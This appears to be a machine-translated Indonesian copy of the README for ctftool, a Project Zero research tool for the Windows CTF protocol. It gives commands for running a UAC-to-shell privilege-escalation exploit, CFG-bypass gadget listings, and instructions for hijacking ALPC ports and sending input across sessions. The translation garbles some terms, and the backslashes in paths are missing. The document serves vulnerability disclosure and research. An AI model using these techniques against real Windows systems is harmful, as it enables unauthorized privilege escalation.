Hanya ingin menguji eksploitasi sistem? Klik disini.

Ini adalah ctftool , alat baris perintah interaktif untuk bereksperimen dengan CTF, protokol yang sedikit diketahui digunakan pada Windows untuk mengimplementasikan layanan teks. Ini mungkin berguna untuk mempelajari internal Windows, men -debug masalah kompleks dengan prosesor input teks dan menganalisis Windows Security.
Dimungkinkan untuk menulis skrip sederhana dengan ctftool untuk mengotomatisasi interaksi dengan klien atau server CTF, atau melakukan fuzzing sederhana.
Ada posting blog yang menyertai rilis alat ini yang tersedia di sini.
https://goOgleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftool telah diuji pada Windows 7, Windows 8 dan Windows 10. Baik versi 32-bit dan X64 didukung, tetapi x64 telah diuji secara lebih luas.
Ada bantuan online untuk sebagian besar perintah, cukup ketik help untuk melihat daftar perintah, dan help <command> untuk melihat bantuan terperinci untuk perintah tertentu.
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
Hal pertama yang ingin Anda lakukan adalah terhubung ke sesi, dan melihat klien mana yang terhubung.
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
Anda kemudian dapat bereksperimen dengan mengirim dan menerima perintah ke server, atau klien yang terhubung.
Jika Anda tidak ingin membangunnya sendiri, lihat tab Rilis
Saya menggunakan GNU Make dan Visual Studio 2019 untuk mengembangkan ctftool . Hanya bangunan 32-bit yang didukung, karena ini memungkinkan alat untuk berjalan pada jendela x86 dan x64.
Jika semua dependensi diinstal, cukup mengetik make dalam prompt perintah pengembang sudah cukup.
Saya menggunakan varian "Build Tools" dari Visual Studio, dan satu -satunya komponen yang saya pilih adalah MSVC, MSBuild, CMake dan SDK.
Proyek ini menggunakan submodules untuk beberapa dependensi, pastikan Anda menggunakan perintah seperti ini untuk mengambil semua kode yang diperlukan.
git submodule update --init --recursive
Contohnya hanya berfungsi pada Windows 10 x64. Semua platform dan versi karena Windows XP terpengaruh, tetapi tidak ada POC saat ini diterapkan.
Alat ini digunakan untuk menemukan banyak masalah keamanan kritis dengan protokol CTF yang telah ada selama beberapa dekade.
Jika Anda hanya ingin menguji eksploitasi di Windows 10 x64 1903, jalankan atau klik dua kali ctftool.exe dan masukkan perintah ini:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
Ini akan menunggu dialog UAC muncul, mengkompromikannya dan memulai shell.
Faktanya, kode eksploitasi dibagi menjadi dua tahap yang dapat Anda gunakan secara mandiri. Misalnya, Anda mungkin ingin mengkompromikan proses milik pengguna pada sesi yang berbeda menggunakan parameter opsional untuk connect .
Sebagian besar klien CTF dapat dikompromikan, karena aplikasi pasukan kernel yang menarik Windows untuk memuat pustaka yang rentan.
Cukup terhubung ke sesi, pilih klien untuk berkompromi (gunakan perintah scan dan thread , atau wait saja), lalu:
ctf> script .scriptsctf-exploit-common-win10.ctf
Membangun rantai lompatan CFG yang bekerja pada sebagian besar klien CTF cukup menantang. Ada dua komponen utama untuk eksploitasi akhir, primitif menulis sewenang -wenang dan kemudian menyiapkan register kami untuk memanggil LoadLibrary() .
Anda dapat menggunakan
dumpbin /headers /loadconfiguntuk membuang target cabang yang masuk daftar putih.
Saya membutuhkan gadget tulis sewenang -wenang untuk membuat objek di lokasi yang dapat diprediksi. Gadget yang dapat digunakan terbaik yang dapat saya temukan adalah penurunan DWORD yang sewenang -wenang di msvcrt!_init_time .
Ini berarti daripada hanya mengatur nilai yang kita inginkan, kita harus terus berkurang sampai LSB mencapai nilai yang kita inginkan. Ini banyak pekerjaan, tetapi kami tidak pernah harus melakukan lebih dari (2^8 - 1) * len .

Dengan menggunakan primitif ini, saya membangun objek seperti ini di beberapa ruang kendur yang tidak digunakan di Kernel32 .data bagian. Itu perlu menjadi bagian dari gambar sehingga saya dapat memprediksi di mana itu akan dipetakan, karena pengacakan gambar per-boot pada windows.

Ada (tentu saja) banyak gadget tulis sewenang -wenang, masalahnya adalah mendapatkan kembali kendali eksekusi setelah penulisan. Ini terbukti cukup menantang, dan itulah alasan saya terjebak dengan penurunan DWORD, bukan sesuatu yang lebih sederhana.
MSCTF menangkap semua pengecualian, jadi tantangannya adalah menemukan penulisan sewenang -wenang yang tidak mengacaukan tumpukan sehingga Seh bertahan, atau jatuh dengan sangat cepat tanpa melakukan kerusakan.
Gadget msvcrt!_init_time adalah yang terbaik yang bisa saya temukan, dalam beberapa instruksi itu dereferences nol tanpa merusak memori lagi. Ini berarti kita dapat mengulanginya ad infinitum.
Saya menemukan dua gadget yang berguna untuk menyesuaikan register, yang pertama adalah:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
Dan yang kedua adalah:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
Dengan menggabungkan dua gadget ini dengan objek yang kami bentuk dengan gadget tulis kami, kami dapat mengarahkan kembali eksekusi ke kernel32!LoadLibraryA dengan memantul di antara mereka.
Ini rumit, tetapi urutan lompatan berfungsi seperti ini:

Jika Anda tertarik, saya sarankan menontonnya di debugger. Perhatikan bahwa Anda perlu menggunakan perintah sxd av dan sxd bpe atau debugger akan berhenti untuk setiap tulisan!
Terlepas dari korupsi memori, kelas kerentanan besar yang diekspos oleh CTF adalah serangan sesi edit . Biasanya, proses yang tidak beruntung (misalnya, integritas rendah) tidak akan diizinkan untuk mengirim input atau membaca data dari proses istimewa. Batas keamanan ini disebut UIPI, isolasi hak istimewa antarmuka pengguna .
CTF mematahkan asumsi ini, dan memungkinkan proses yang tidak beruntung untuk mengirim input ke proses istimewa.
Ada beberapa persyaratan agar serangan ini berfungsi, sejauh yang saya ketahui hanya akan berfungsi jika Anda memiliki bahasa tampilan yang diinstal yang menggunakan tip OOP, prosesor input teks di luar proses . Pengguna dengan bahasa input yang menggunakan iMes (Cina, Jepang, Korea, dan sebagainya) dan pengguna dengan alat A11Y termasuk dalam kategori ini.
Contoh serangan termasuk ...
Ada contoh skrip dalam direktori skrip yang akan mengirim masukan ke jendela Notepad untuk menunjukkan cara kerja edit.

Karena tidak ada otentikasi yang terlibat antara klien dan server dalam protokol CTF, penyerang dengan hak istimewa yang diperlukan untuk menulis ke BaseNamedObjects dapat membuat port CTF ALPC dan berpura -pura menjadi monitor.
Ini memungkinkan setiap dan semua pembatasan yang ditegakkan oleh monitor dilewati.
Jika Anda ingin bereksperimen dengan serangan ini, coba perintah hijack di ctftool .
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
Tidak ada isolasi sesi dalam protokol CTF, proses apa pun dapat terhubung ke server CTF apa pun. Misalnya, pengguna layanan terminal dapat berinteraksi dengan proses pengguna lain, bahkan administrator.
Perintah connect di ctftool mendukung yang menghubungkan ke sesi non-default jika Anda ingin bereksperimen dengan serangan ini.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
Pada saat penulisan, tidak diketahui bagaimana Microsoft akan mengubah protokol CTF dalam menanggapi berbagai kelemahan desain yang dibantu alat ini.
Untuk alasan itu, pertimbangkan alat ini dalam keadaan bukti konsep.
Semua versi Windows sejak Windows XP menggunakan CTF, pada semua platform yang didukung.
Meskipun bukan bagian dari sistem dasar hingga XP, versi sedini Windows 98 dan NT4 akan menggunakan CTF jika Anda menginstal Microsoft Office.
ctftool mendukung Windows 7 dan kemudian pada x86 dan x64, tetapi versi sebelumnya dan platform lainnya dapat didukung, dan kontribusi akan dihargai.
Microsoft tidak mendokumentasikan apa yang diperjuangkan CTF, itu tidak dijelaskan dalam dokumentasi layanan teks apa pun, sampel SDK, nama simbol, file header, atau di mana pun. Teori saya adalah dari CTextFramework , apa yang mungkin Anda beri nama kelas dalam notasi Hongaria.
Ada beberapa situs web yang mengklaim
ctfmonada hubungannya dengan font tipe yang jelas atau kerangka terjemahan kolaboratif Azure. Mereka salah.
Pembaruan: Jake Nelson menemukan bukti untuk "kerangka kerja teks umum"
Tavis ormandy [email protected]
Semua kode asli adalah Apache 2.0, lihat file lisensi untuk detailnya.
Komponen -komponen berikut diimpor proyek pihak ketiga.
GetProcAddress() untuk modul 64-bit dari proses 32-bit. Ini digunakan dalam perintah symbol , dan memungkinkan biner yang sama untuk bekerja pada x64 dan x86.